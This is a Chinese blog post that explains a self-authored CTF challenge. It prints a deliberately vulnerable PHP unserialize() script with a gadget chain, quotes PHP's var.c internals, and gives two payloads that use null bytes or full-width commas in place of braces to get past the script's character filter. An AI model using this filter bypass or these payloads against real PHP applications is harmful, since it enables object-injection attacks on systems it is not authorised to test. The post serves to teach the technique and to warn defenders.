博客不定期更新,分享研究成果和攻防知识。
目前来说PHP反序列化这类问题被归类为高级安全问题,因为他的危害很严重并且存在相当多的花样。
网上公开阐述反序列化执行流程已经非常详细,但是一些细节地方略有不足。
这些不足支出往往是我们忽略的,它对于蓝对方却是致命。
起源
最近刚好被邀请CTF出题,我平时对于CTF并没有什么研究。我在想如何能出一道能够让同学们学到知识的题目呢?
在研究过程中,看到一篇有关《PHP序列化和反序列化语法不一致的问题》,引起我的关注。
出题
在复现文中的所述之后,我对于序列化和反序列化内核源码实现进行了阅读,发现几点问题值得关注。这些问题我先不多说,咱们先看题。
1 <?php 2 class startgg 3 { 4 public $mod1; 5 public $mod2; 6 public function __destruct() 7 { 8 $this->mod1->test1(); 9 } 10 } 11 class Call 12 { 13 public $mod1; 14 public $mod2; 15 public function test1() 16 { 17 $this->mod1->test2(); 18 } 19 } 20 class funct 21 { 22 public $mod1; 23 public $mod2; 24 public function __call($test2,$arr) 25 { 26 $s1 = $this->mod1; 27 $s1(); 28 } 29 } 30 class func 31 { 32 public $mod1; 33 public $mod2; 34 public function __invoke() 35 { 36 $this->mod2 = "字符串拼接".$this->mod1; 37 } 38 } 39 class string1 40 { 41 public $str1; 42 public $str2; 43 public function __toString() 44 { 45 $this->str1->get_flag(); 46 return "1"; 47 } 48 } 49 class GetFlag 50 { 51 public function get_flag() 52 { 53 echo "flag:"."xxxxxxxxxxxx"; 54 } 55 } 56 $a = $_POST['string']; 57 var_dump($a); 58 $preg = "/\/|\~|\!|\@|\#|\\$|\^|\&|\*|\(|\)|\(|\)|【|】|{|}|\+|\{|\}|\<|\>|\?|\[|\]|\,|\.|\/|\'|\`|\-|\=|\\\|\|(\:\:)|(\:\;)|\||(\w+s\:)+/"; 59 if(preg_match($preg, $a)){ 60 echo '不能存在特殊字符。'; 61 }else{ 62 unserialize($a); 63 } 64 ?>
这道题看起来像是签到题对吧。其实在细节上过滤了很多特殊字符。你见过没有{}的序列化字符串么?我相信这个答案是否定的。因为这个{}是序列化模块自动生成的,这道题也就此说明了,反序列化和序列化语法上的差异。
原理分析
这道题的原版源码,你至少能到5个网站上找到它,但是答案它无法在这个道题中使用。
原理分析:
在PHP序列化中,PHP会使用smart_str_appendl为序列化字符串前后拼接:{和},从var.c的第882行开始进入序列化逻辑。
1 [var.c] 2 Line:882 3 static void php_var_serialize_intern() 4 5 Line:896 6 if (ce->serialize(struc, &serialized_data, &serialized_length, (zend_serialize_data *)var_hash) == SUCCESS) { 7 smart_str_appendl(buf, "C:", 2); 8 smart_str_append_unsigned(buf, ZSTR_LEN(Z_OBJCE_P(struc)->name)); 9 smart_str_appendl(buf, ":\"", 2); 10 smart_str_append(buf, Z_OBJCE_P(struc)->name); 11 smart_str_appendl(buf, "\":", 2); 12 13 smart_str_append_unsigned(buf, serialized_length); 14 smart_str_appendl(buf, ":{", 2); 15 smart_str_appendl(buf, (char *) serialized_data, serialized_length); 16 smart_str_appendc(buf, '}'); 17 } 18 19 Line:952 20 smart_str_appendl(buf, ":{", 2); 21 22 Line:995 23 smart_str_appendc(buf, '}');
反序列化的逻辑和{}关系代码如下,通过捕获字符串,判断条件分支,然后执行反序列化逻辑。
1 [var.c] 2 Line:655 3 static int php_var_unserialize_internal() 4 5 Line:674 6 { 7 YYCTYPE yych; 8 static const unsigned char yybm[] = { 9 0, 0, 0, 0, 0, 0, 0, 0, 10 0, 0, 0, 0, 0, 0, 0, 0, 11 0, 0, 0, 0, 0, 0, 0, 0, 12 0, 0, 0, 0, 0, 0, 0, 0, 13 0, 0, 0, 0, 0, 0, 0, 0, 14 0, 0, 0, 0, 0, 0, 0, 0, 15 128, 128, 128, 128, 128, 128, 128, 128, 16 128, 128, 0, 0, 0, 0, 0, 0, 17 0, 0, 0, 0, 0, 0, 0, 0, 18 0, 0, 0, 0, 0, 0, 0, 0, 19 0, 0, 0, 0, 0, 0, 0, 0, 20 0, 0, 0, 0, 0, 0, 0, 0, 21 0, 0, 0, 0, 0, 0, 0, 0, 22 0, 0, 0, 0, 0, 0, 0, 0, 23 0, 0, 0, 0, 0, 0, 0, 0, 24 0, 0, 0, 0, 0, 0, 0, 0, 25 0, 0, 0, 0, 0, 0, 0, 0, 26 0, 0, 0, 0, 0, 0, 0, 0, 27 0, 0, 0, 0, 0, 0, 0, 0, 28 0, 0, 0, 0, 0, 0, 0, 0, 29 0, 0, 0, 0, 0, 0, 0, 0, 30 0, 0, 0, 0, 0, 0, 0, 0, 31 0, 0, 0, 0, 0, 0, 0, 0, 32 0, 0, 0, 0, 0, 0, 0, 0, 33 0, 0, 0, 0, 0, 0, 0, 0, 34 0, 0, 0, 0, 0, 0, 0, 0, 35 0, 0, 0, 0, 0, 0, 0, 0, 36 0, 0, 0, 0, 0, 0, 0, 0, 37 0, 0, 0, 0, 0, 0, 0, 0, 38 0, 0, 0, 0, 0, 0, 0, 0, 39 0, 0, 0, 0, 0, 0, 0, 0, 40 0, 0, 0, 0, 0, 0, 0, 0, 41 }; 42 if ((YYLIMIT - YYCURSOR) < 7) YYFILL(7); 43 yych = *YYCURSOR; 44 switch (yych) { 45 case 'C': 46 case 'O': goto yy4; 47 case 'N': goto yy5; 48 case 'R': goto yy6; 49 case 'S': goto yy7; 50 case 'a': goto yy8; 51 case 'b': goto yy9; 52 case 'd': goto yy10; 53 case 'i': goto yy11; 54 case 'o': goto yy12; 55 case 'r': goto yy13; 56 case 's': goto yy14; 57 case '}': goto yy15; 58 default: goto yy2; 59 } 60 61 Line:776 62 yy15: 63 ++YYCURSOR; 64 { 65 /* this is the case where we have less data than planned */ 66 php_error_docref(NULL, E_NOTICE, "Unexpected end of serialized data"); 67 return 0; /* not sure if it should be 0 or 1 here? */ 68 }
从这段代码可以看出,即便不写{},有满足条件的分割符号,序列化字符串依旧能被分支跳转,从而进行解析,解析的代码先略过。
解题
思路1,使用空白字符替代。
1 string=O:7:"startgg":2:%00s:4:"mod1";O:4:"Call":2:%00s:4:"mod1";O:5:"funct":2:%00s:4:"mod1";O:4:"func":2:%00s:4:"mod1";O:7:"string1":1:%00s:4:"str1";O:7:"GetFlag":%00s:4:"mod2"
思路2,使用全角字符替代。
1 string=O:7:"startgg":2:,s:4:"mod1";O:4:"Call":2:,s:4:"mod1";O:5:"funct":2:,s:4:"mod1";O:4:"func":2:,s:4:"mod1";O:7:"string1":1:,s:4:"str1";O:7:"GetFlag":,s:4:"mod2"
总结
这种语法不一致的问题,对于蓝队的防护带来极大挑战。
文章由SkyBlue永恒原创,转载请注明出处cnblogs.com/SkyBlueE。